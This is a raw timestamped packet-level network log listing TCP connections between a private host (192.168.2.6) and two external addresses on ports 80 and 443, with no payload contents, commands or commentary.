Nov 23, 2024 02:55:16.699095964 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.699124098 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.699135065 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.699141979 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.699184895 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.699186087 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.705173969 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.705231905 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.705277920 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.709568024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.709626913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.709629059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.709671021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.710083961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.710124969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.710195065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.710232973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.711152077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.711189985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.711256981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.711303949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.712227106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.712292910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.712338924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.712384939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.713331938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.713375092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.713416100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.713458061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.714375019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.714417934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.714487076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.714525938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.715456963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.715498924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.715596914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.715636015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.716557980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.716603041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.716650009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.716695070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.717608929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.717649937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.717708111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.717741966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.718698978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.718739986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.718789101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.718827963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.719614983 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.719630003 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.719640970 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.719646931 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.719767094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.719806910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.719858885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.719894886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.720834970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.720882893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.720930099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.720973015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.721916914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.721957922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.722002983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.722042084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.723006010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.723052979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.723099947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.723140955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.724062920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.724108934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.724153996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.724195957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.725142956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.725188971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.725259066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.725297928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.726273060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.726315975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.726356030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.726393938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.727302074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.727344036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.727391005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.727437019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.728383064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.728430033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.728478909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.728518963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.729451895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.729500055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.729547024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.729585886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.756295919 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.756314039 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.756329060 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.756334066 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.758052111 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.758064032 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.767569065 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.767731905 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.767802000 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.786736012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.786808968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.786828995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.786870956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.787214994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.787255049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.787306070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.787343979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.788292885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.788341045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.788429022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.788474083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.789356947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.789393902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.789439917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.789480925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.790447950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.790494919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.790541887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.790581942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.791511059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.791579008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.791635990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.791678905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.792577028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.792619944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.792686939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.792727947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.793668032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.793713093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.793756962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.793796062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.794745922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.794789076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.794833899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.794876099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.795842886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.795886993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.795932055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.795972109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.796904087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.796948910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.797005892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.797048092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.797982931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.798028946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.798073053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.798113108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.799124956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.799168110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.799206972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.799247980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.800128937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.800170898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.800256014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.800297022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.801206112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.801244020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.801244974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.801286936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.802273035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.802365065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.802396059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.802459955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.803360939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.803406954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.803421021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.803466082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.811351061 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.811395884 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.811460972 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.811542988 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.811598063 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.811629057 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.811646938 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.812361002 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.812386036 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.814044952 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.814090014 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.814162016 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.814280987 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.814315081 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.815414906 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.815427065 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.815488100 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.815602064 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.815615892 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.815763950 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.815783978 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.815851927 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.815953016 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.815980911 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.834224939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.834284067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.834359884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.834400892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.834754944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.834795952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.834961891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.835010052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.835012913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.835059881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.836061954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.836112022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.836168051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.836210966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.837115049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.837143898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.837162971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.837178946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.838213921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.838258028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.838268995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.838310003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.839274883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.839320898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.839363098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.839401960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.840341091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.840385914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.840444088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.840481997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.841439962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.841480017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.841526031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.841563940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.842502117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.842519999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.842545986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.842561960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.843573093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.843617916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.843667030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.843708038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.844659090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.844675064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.844707012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.844721079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.845731020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.845772982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.845776081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.845818043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.846802950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.846843958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.846856117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.846898079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.847886086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.847928047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.847973108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.848011971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.848958969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.849004984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.849050999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.849092960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.850059986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.850105047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.850148916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.850188017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.851118088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.851161003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.910669088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.910696030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.910731077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.910753012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.910990000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.911034107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.911137104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.911176920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.912075043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.912122965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.912170887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.912210941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.913122892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.913166046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.913172960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.913208008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.914277077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.914294004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.914320946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.914340973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.915302038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.915339947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.915340900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.915383101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.916376114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.916403055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.916420937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.916435957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.917460918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.917500973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.917551041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.917589903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.918535948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.918577909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.918615103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.918658018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.919608116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.919652939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.919657946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.919697046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.920686007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.920725107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.920772076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.920811892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.921766996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.921804905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.921833992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.921873093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.922837973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.922882080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.922930956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.922971010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.923980951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.924019098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.924063921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.924103975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.924994946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.925038099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.925087929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.925132036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.926117897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.926161051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.926198006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.926239014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.927145958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.927189112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.927258015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.927299023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.928231955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.928272009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.928344011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.928383112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.929335117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.929375887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.929630041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.929676056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.930429935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.930468082 CET	49714	80	192.168.2.6	185.215.113.206
